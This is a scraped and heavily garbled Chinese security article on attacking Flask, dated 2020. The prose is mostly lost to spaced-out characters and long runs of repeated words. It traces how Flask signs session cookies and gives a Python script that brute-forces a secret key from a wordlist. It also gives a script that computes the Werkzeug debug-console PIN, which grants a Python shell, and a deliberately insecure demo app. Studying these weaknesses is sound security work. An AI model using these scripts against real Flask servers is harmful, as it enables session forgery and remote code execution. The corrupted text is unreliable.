[6603] 2020-03-29_Flask的key与pin安全简析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-17
2020-03-29_Flask的key与pin安全简析 F l a s k k e y p i n E   2 0 2 0 - 0 3 - 2 9   N o . 1 N o . 1 使 N o . 2 N o . 2 f l a s k s e s s i o n   k e y d e b u g   p i n N o . 3 N o . 3 s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n k e y s e s s i o n 使 s e s s i o n f l a s k 使 s e s s i o n f l a s k h m a c h m a c s e c r e t _ k e y s e c r e t _ k e y N o . 4 N o . 4 s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n c o o k i e s e s s i o n e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 . X n B u a w . 8 B X 5 u m P d x M e I Y 2 Q w G K b A v a 2 C n k 8 s e s s i o n s e s s i o n d i c t a p p . p y w s g i _ a p p - > p u s h - > o p e n _ s e s s i o n s e s s i o n s . p y o p e n _ s e s s i o n ( ) o p e n s e s s i o n U R L S a f e T i m e d S e r i a l i z e r l o a d s   .
d e f   o p e n _ s e s s i o n ( s e l f ,   a p p ,   r e q u e s t ) : s   =   s e l f . g e t _ s i g n i n g _ s e r i a l i z e r ( a p p ) i f   s   i s   N o n e : r e t u r n   N o n e v a l   =   r e q u e s t . c o o k i e s . g e t ( a p p . s e s s i o n _ c o o k i e _ n a m e ) i f   n o t   v a l : r e t u r n   s e l f . s e s s i o n _ c l a s s ( ) m a x _ a g e   =   t o t a l _ s e c o n d s ( a p p . p e r m a n e n t _ s e s s i o n _ l i f e t i m e ) t r y : d a t a   =   s . l o a d s ( v a l ,   m a x _ a g e = m a x _ a g e ) r e t u r n   s e l f . s e s s i o n _ c l a s s ( d a t a ) e x c e p t   B a d S i g n a t u r e : r e t u r n   s e l f . s e s s i o n _ c l a s s ( ) c o o k i e v a l o p e n _ s e s s i o n s e l f . s e s s i o n _ c l a s s ( ) S e c u r e C o o k i e S e s s i o n ( ) c l a s s S e c u r e C o o k i e S e s s i o n ( C a l l b a c k D i c t ,   S e s s i o n M i x i n ) C a l l b a c k D i c t c l a s s   C a l l b a c k D i c t ( U p d a t e D i c t M i x i n ,   d i c t ) d i c t s e s s i o n d i c t p e r m a n e n t m o d i f i e d f l a s k 使 s e s s i o n R e q u e s t C o n t e x t s e s s i o n R e q u e s t C o n t e x t f r o m   f l a s k   i m p o r t s e s s i o n 使 h t t p s : / / c i z i x s . c o m / 2 0 1 7 / 0 1 / 1 3 / f l a s k - i n s i g h t - c o n t e x t / s e s s i o n a p p . p y w s g i _ a p p - > f u l l _ d i s p a t c h _ r e q u e s t - > f i n a l i z e _ r e q u e s t - > p r o c e s s _ r e s p o n s e - > s a v e _ s e s s i o n s e s s i o n s . p y s a v e _ s e s s i o n ( ) s e s s i o n s e t c o o k i e s a v e s e s s i o n U R L S a f e T i m e d S e r i a l i z e r d u m p s d e f   s a v e _ s e s s i o n ( s e l f ,   a p p ,   s e s s i o n ,   r e s p o n s e ) : v a l   =   s e l f . g e t _ s i g n i n g _ s e r i a l i z e r ( a p p ) . d u m p s ( d i c t ( s e s s i o n ) ) r e s p o n s e . s e t _ c o o k i e ( a p p . s e s s i o n _ c o o k i e _ n a m e , v a l , e x p i r e s = e x p i r e s , h t t p o n l y = h t t p o n l y , d o m a i n = d o m a i n , p a t h = p a t h , s e c u r e = s e c u r e , s a m e s i t e = s a m e s i t e , ) s e s s i o n s e l f . g e t _ s i g n i n g _ s e r i a l i z e r ( a p p ) . d u m p s ( d i c t ( s e s s i o n ) ) g e t _ s i g n i n g _ s e r i a l i z e r
U R L S a f e T i m e d S e r i a l i z e r d u m p s { ' i d c a r d ' :   ' c h o u d o u f u ' ,   ' u s e r n a m e ' :   ' a c c d f ' } s e s s i o n a p p . s e c r e t _ k e y s e c r e t _ k e y d u m p s s e s s i o n s a l t   =   " c o o k i e - s e s s i o n " d i g e s t _ m e t h o d   =   s t a t i c m e t h o d ( h a s h l i b . s h a 1 ) k e y _ d e r i v a t i o n   =   " h m a c " s e r i a l i z e r   =   s e s s i o n _ j s o n _ s e r i a l i z e r s e s s i o n _ c l a s s   =   S e c u r e C o o k i e S e s s i o n d e f   g e t _ s i g n i n g _ s e r i a l i z e r ( s e l f ,   a p p ) : i f   n o t   a p p . s e c r e t _ k e y : r e t u r n   N o n e s i g n e r _ k w a r g s   =   d i c t ( k e y _ d e r i v a t i o n = s e l f . k e y _ d e r i v a t i o n ,   d i g e s t _ m e t h o d = s e l f . d i g e s t _ m e t h o d ) p r i n t ( s i g n e r _ k w a r g s ) r e t u r n   U R L S a f e T i m e d S e r i a l i z e r ( a p p . s e c r e t _ k e y , s a l t = s e l f . s a l t , s e r i a l i z e r = s e l f . s e r i a l i z e r , s i g n e r _ k w a r g s = s i g n e r _ k w a r g s , ) U R L S a f e T i m e d S e r i a l i z e r i t s d a n g e r o u s U R L S a f e T i m e d S e r i a l i z e r #   s e s s i o n ~ / i t s d a n g e r o u s / s e r i a l i z e r . p y : d e f   d u m p s ( s e l f ,   o b j ,   s a l t = N o n e ) : p a y l o a d   =   w a n t _ b y t e s ( s e l f . d u m p _ p a y l o a d ( o b j ) )   #   d u m p _ p a y l o a d o b j   { ' i d c a r d ' :   ' c h o u d o u f u ' ,   ' u s e r n a m e ' :   ' a c c d f ' }   j s o n z l i b . c o m p r e s s b a s e 6 4 p a y l o a d r v   =   s e l f . m a k e _ s i g n e r ( s a l t ) . s i g n ( p a y l o a d )   #   p a y l o a d m a k e _ s i g n e r i f   s e l f . i s _ t e x t _ s e r i a l i z e r : r v   =   r v . d e c o d e ( " u t f - 8 " ) r e t u r n   r v ~ / i t s d a n g e r o u s / u r l _ s a f e . p y d e f   d u m p _ p a y l o a d ( s e l f ,   o b j ) :   #   d u m p _ p a y l o a d c o o k i e s e s s i o n e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 p r i n t ( ' d u m p + p a y l o a d ' )
j s o n   =   s u p e r ( U R L S a f e S e r i a l i z e r M i x i n ,   s e l f ) . d u m p _ p a y l o a d ( o b j ) i s _ c o m p r e s s e d   =   F a l s e c o m p r e s s e d   =   z l i b . c o m p r e s s ( j s o n ) i f   l e n ( c o m p r e s s e d )   <   ( l e n ( j s o n )   -   1 ) : j s o n   =   c o m p r e s s e d i s _ c o m p r e s s e d   =   T r u e b a s e 6 4 d   =   b a s e 6 4 _ e n c o d e ( j s o n ) i f   i s _ c o m p r e s s e d : b a s e 6 4 d   =   b " . "   +   b a s e 6 4 d r e t u r n   b a s e 6 4 d ~ / i t s d a n g e r o u s / s e r i a l i z e r . p y : d e f   m a k e _ s i g n e r ( s e l f ,   s a l t = N o n e ) :   #   m a k e _ s i g n e r S i g n e r " " " C r e a t e s   a   n e w   i n s t a n c e   o f   t h e   s i g n e r   t o   b e   u s e d .   T h e   d e f a u l t i m p l e m e n t a t i o n   u s e s   t h e   : c l a s s : ` . S i g n e r `   b a s e   c l a s s . " " " i f   s a l t   i s   N o n e : s a l t   =   s e l f . s a l t r e t u r n   s e l f . s i g n e r ( s e l f . s e c r e t _ k e y ,   s a l t = s a l t ,   * * s e l f . s i g n e r _ k w a r g s ) ~ / i t s d a n g e r o u s / t i m e d . p y d e f   s i g n ( s e l f ,   v a l u e ) :   #   s i g n b a s e 6 4 s e s s i o n X n B u a w s e s s i o n v a l u e e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 . X n B u a w " " " S i g n s   t h e   g i v e n   s t r i n g   a n d   a l s o   a t t a c h e s   t i m e   i n f o r m a t i o n . " " " v a l u e   =   w a n t _ b y t e s ( v a l u e ) t i m e s t a m p   =   b a s e 6 4 _ e n c o d e ( i n t _ t o _ b y t e s ( s e l f . g e t _ t i m e s t a m p ( ) ) ) s e p   =   w a n t _ b y t e s ( s e l f . s e p ) v a l u e   =   v a l u e   +   s e p   +   t i m e s t a m p r e t u r n   v a l u e   +   s e p   +   s e l f . g e t _ s i g n a t u r e ( v a l u e ) ~ / i t s d a n g e r o u s / s i g n e r . p y d e f   g e t _ s i g n a t u r e ( s e l f ,   v a l u e ) :   #   v a l u e t i m e d . p y s i g n v a l u e k e y   =   s e l f . d e r i v e _ k e y ( )   #   d e r i v e _ k e y ( ) 使 s e c e r t _ k e y s a l t h m a c k e y s i g   =   s e l f . a l g o r i t h m . g e t _ s i g n a t u r e ( k e y ,   v a l u e )   # H M A C A l g o r i t h m . g e t _ s i g n a t u r e ( ) 使 k e y v a l u e b a s e 6 4 s e s s i o n 8 B X 5 u m P d x M e I Y 2 Q w G K b A v a 2 C n k 8 r e t u r n   b a s e 6 4 _ e n c o d e ( s i g ) ~ / i t s d a n g e r o u s / s i g n e r . p y d e f   s i g n ( s e l f ,   v a l u e ) :   #   v a l u e r e t u r n s e s s i o n " " " S i g n s   t h e   g i v e n   s t r i n g . " " "
" " " S i g n s   t h e   g i v e n   s t r i n g . " " " r e t u r n   w a n t _ b y t e s ( v a l u e )   +   w a n t _ b y t e s ( s e l f . s e p )   +   s e l f . g e t _ s i g n a t u r e ( v a l u e ) s e s s i o n j s o n b a s e 6 4 . b a s e 6 4 . h m a c b a s e 6 4 N o . 5 N o . 5 s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n s e s s i o n e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 . X n B u a w . 8 B X 5 u m P d x M e I Y 2 Q w G K b A v a 2 C n k 8 s e s s i o n f l a s k s e c r e t _ k e y s e c r e t _ k e y a p p . c o n f i g [ ' S E C R E T _ K E Y ' ]   =   ' a b c 1 2 3 4 5 6 ' f l a s k - s e s s i o n - c o o k i e - m a n a g e r ( P S p y t h o n 2 3 ) s e s s i o n e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 { " n a m e " : " c h o u d o u f u " , " u s e r n a m e " : " a c c d f " } 使 s e s s i o n s e s s i o n k e y U R L S a f e T i m e d S e r i a l i z e r l o a d s d e m o
i m p o r t   s y s f r o m   i t s d a n g e r o u s   i m p o r t   * i m p o r t   h a s h l i b f r o m   f l a s k . j s o n . t a g   i m p o r t   T a g g e d J S O N S e r i a l i z e r d e f   B r u t e ( c o o k i e _ s e s s i o n ,   s e c r e t _ k e y _ l i s t ) : s a l t   =   ' c o o k i e - s e s s i o n ' s e r i a l i z e r   =   T a g g e d J S O N S e r i a l i z e r ( ) s i g n e r _ k w a r g s   =   d i c t ( k e y _ d e r i v a t i o n = ' h m a c ' ,   d i g e s t _ m e t h o d = h a s h l i b . s h a 1 ) f o r   s e c r e t _ k e y 2   i n   s e c r e t _ k e y _ l i s t : s e c r e t _ k e y   =   s e c r e t _ k e y 2 . s t r i p ( ' n ' ) p r i n t ( ' [ * ]   t e s t   '   +   s e c r e t _ k e y ) t r y : v a l   =   U R L S a f e T i m e d S e r i a l i z e r ( s e c r e t _ k e y ,   s a l t = s a l t , s e r i a l i z e r = s e r i a l i z e r , s i g n e r _ k w a r g s = s i g n e r _ k w a r g s ) v a l . l o a d s ( c o o k i e _ s e s s i o n ) p r i n t ( ' [ + ]   b r u t e   s u c c e s s ,   s e c r e t _ k e y :   '   +   s e c r e t _ k e y ) r e t u r n e x c e p t : p a s s p r i n t ( ' [ - ]   b r u t e   f a i l ' ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : i f   l e n ( s y s . a r g v )   ! =   3 : p r i n t ( ' p y t h o n 3   b r u t e s e s s i o n . p y   s e s s i o n   ' ) #   p y t h o n 3   b r u t e s e s s i o n . p y ' e y J u Y W 1 l I j o i Y 2 h v d W R v d W Z 1 I i w i d X N l c m 5 h b W U i O i J h Y 2 N k Z i J 9 . X n B u a w . 8 B X 5 u m P d x M e I Y 2 Q w G K b A v a 2 C n k 8 '   . / p a s s . t x t e x i t ( ) c o o k i e _ s e s s i o n   =   s y s . a r g v [ 1 ] s e c r e t _ k e y _ f i l e   =   s y s . a r g v [ 2 ] w i t h   o p e n ( s e c r e t _ k e y _ f i l e ,   ' r ' )   a s   f : s e c r e t _ k e y _ l i s t   =   f . r e a d l i n e s ( ) B r u t e ( c o o k i e _ s e s s i o n ,   s e c r e t _ k e y _ l i s t )
N o . 6 N o . 6 d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n d e b u g p i n f l a s k d e b u g w e b p i n p y t h o n   s h e l l p i n p i n D e b u g g e r   P I N :   2 9 1 - 8 9 5 - 7 5 3 x x x - x x x - x x x - x x x p i n 1 0 亿 - 1 p i n f l a s k   w e b p i n p i n p i n p i n a p p . p y r u n ( ) - > r u n _ s i m p l e ( ) - > D e b u g g e d A p p l i c a t i o n . p i n ( ) - > g e t _ p i n _ a n d _ c o o k i e _ n a m e ( ) ~ / w e r k z e u g / d e b u g / _ _ i n i t _ _ . p y g e t _ p i n _ a n d _ c o o k i e _ n a m e p i n W E R K Z E U G _ D E B U G _ P I N p i n p i n   =   o s . e n v i r o n . g e t ( " W E R K Z E U G _ D E B U G _ P I N " ) r v   =   p i n f l a s k p r o b a b l y _ p u b l i c _ b i t s   =   [ u s e r n a m e ,   #   g e t p a s s . g e t u s e r ( ) m o d n a m e ,   #   g e t a t t r ( a p p ,   " _ _ m o d u l e _ _ " ,   a p p . _ _ c l a s s _ _ . _ _ m o d u l e _ _ ) f l a s k . a p p g e t a t t r ( a p p ,   " _ _ n a m e _ _ " ,   a p p . _ _ c l a s s _ _ . _ _ n a m e _ _ ) ,   #   F l a s k g e t a t t r ( m o d ,   " _ _ f i l e _ _ " ,   N o n e ) ,   #   m o d   =   s y s . m o d u l e s . g e t ( m o d n a m e ) ] p r i v a t e _ b i t s   =   [ s t r ( u u i d . g e t n o d e ( ) ) ,   g e t _ m a c h i n e _ i d ( ) ]   & n b s p ; & n b s p ; & n b s p ; & n b s p ; #   u u i d . g e t n o d e ( ) g e t _ m a c h i n e _ i d ( ) p r o b a b l y _ p u b l i c _ b i t s f l a s k p r i v a t e _ b i t s h a s h l i b . m d 5 ( ) u p d a t e ( ) :   r o o t f l a s k . a p p F l a s k / u s r / l o c a l / l i b / p y t h o n 3 . 6 / d i s t - p a c k a g e s / f l a s k / a p p . p y 2 x x x x x x x x x b d x x x x x x x x x x x x x x x x x x x x x x x x x a c o o k i e s a l t p i n s a l t m d 5
p i n p i n i m p o r t   h a s h l i b f r o m   i t e r t o o l s   i m p o r t   c h a i n p r o b a b l y _ p u b l i c _ b i t s = [ ' r o o t ' ,   ' f l a s k . a p p ' ,   ' F l a s k ' ,   ' / u s r / l o c a l / l i b / p y t h o n 3 . 6 / d i s t - p a c k a g e s / f l a s k / a p p . p y ' ] p r i v a t e _ b i t s = [ ' 2 x x x x x x x x x x x x 0 ' ,   b ' d x x x x x x x x x x x x x x x x x x x x x x x x x a ' ] h   =   h a s h l i b . m d 5 ( ) f o r   b i t   i n   c h a i n ( p r o b a b l y _ p u b l i c _ b i t s ,   p r i v a t e _ b i t s ) : i f   n o t   b i t : c o n t i n u e i f   i s i n s t a n c e ( b i t ,   s t r ) : b i t   =   b i t . e n c o d e ( " u t f - 8 " ) h . u p d a t e ( b i t ) h . u p d a t e ( b " c o o k i e s a l t " ) h . u p d a t e ( b " p i n s a l t " ) n u m   =   ( " % 0 9 d "   %   i n t ( h . h e x d i g e s t ( ) ,   1 6 ) ) [ : 9 ] f o r   g r o u p _ s i z e   i n   5 ,   4 ,   3 : i f   l e n ( n u m )   %   g r o u p _ s i z e   = =   0 : r v   =   " - " . j o i n ( n u m [ x :   x   +   g r o u p _ s i z e ] . r j u s t ( g r o u p _ s i z e ,   " 0 " ) f o r   x   i n   r a n g e ( 0 ,   l e n ( n u m ) ,   g r o u p _ s i z e ) ) b r e a k p r i n t ( r v )
d e m o
f r o m   f l a s k   i m p o r t   F l a s k f r o m   f l a s k   i m p o r t   s e s s i o n a p p   =   F l a s k ( _ _ n a m e _ _ ) a p p . c o n f i g [ ' S E C R E T _ K E Y ' ]   =   ' a b c 1 2 3 4 5 6 ' #   s e t   s e s s i o n @ a p p . r o u t e ( ' / ' ) d e f   s e t ( ) : s e s s i o n [ ' u s e r n a m e ' ]   =   ' a c c d f ' s e s s i o n [ ' i d c a r d ' ]   =   ' c h o u d o u f u ' r e t u r n   ' h e l l o   a c c d f ' #   c h e c k   a d m i n   s e s s i o n @ a p p . r o u t e ( ' / a d m i n / ' ) d e f   a d m i n ( ) : i f   s e s s i o n [ ' u s e r n a m e ' ]   = =   ' a d m i n ' : r e t u r n   ' i s   a d m i n ' e l s e : r e t u r n   ' n o t   a d m i n ' #   d e b u g   p i n @ a p p . r o u t e ( ' / b u g / ' ) d e f   b u g ( ) : a   = =   b i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : a p p . r u n ( h o s t = ' 0 . 0 . 0 . 0 ' ,   p o r t = 8 0 ,   d e b u g = T r u e ) E   h t t p s : / / w w w . e a s y a q . c o m   西 A p p     W i n d o w s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则